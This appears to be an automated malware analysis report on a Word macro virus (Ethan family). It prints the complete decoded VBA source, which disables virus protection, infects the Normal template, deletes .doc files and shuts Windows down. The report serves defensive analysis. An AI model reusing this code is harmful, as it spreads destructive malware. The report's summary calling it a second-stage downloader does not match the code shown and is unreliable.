Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 509b2c44842ee5b9…

MALICIOUS

Office (OLE)

28.5 KB Created: 2000-11-14 18:25:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9cb62d5afc2f02ea99eb80eb689db746 SHA-1: 7be1fdbc9fff55465ef4d48d77b81515af84a6cb SHA-256: 509b2c44842ee5b9a96eb8e06ca20f90c22ef87b58897a32c2187f4ea83494ac
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that utilize the Shell() function, indicating an attempt to execute arbitrary code. The macro code attempts to write its content to 'c:\Mutant.___' and then execute a command starting with 'C:\windows', suggesting it's a downloader or dropper for a second-stage payload. The ClamAV detections further confirm its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6717 bytes
SHA-256: 918d09a022dbd3b5f7fa86368292497983e37ee9026f23b43e779eae82d62d47
Detection
ClamAV: Doc.Trojan.Ethan-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
m = ActiveDocument.Path + "\" + ActiveDocument.Name
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\Mutant.___", 6) = "" Then
Open "c:\Mutant.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\Mutant.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\Mutant.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
Kill "c:\Ìîè Äîêóìåíòû\*.doc"
r = Shell("C:\windows\rundll user.exe,exitwindows", vbHide)
End Sub

' Processing file: /opt/analyzer/scan_staging/08fabb35797345fe91e46d798773740c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3565 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Path 
' 	LitStr 0x0001 "\"
' 	Add 
' 	Ld ActiveDocument 
' 	MemLd New 
' 	Add 
' 	St m 
' Line #3:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #4:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #5:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #6:
' 	ArgsCall Read 0x0000 
' Line #7:
' 	LitStr 0x000D "c:\Mutant.___"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #8:
' 	LitStr 0x000D "c:\Mutant.___"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #9:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #10:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #11:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #12:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #13:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #14:
' 	LitStr 0x000D "c:\Mutant.___"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #17:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	M
... (truncated)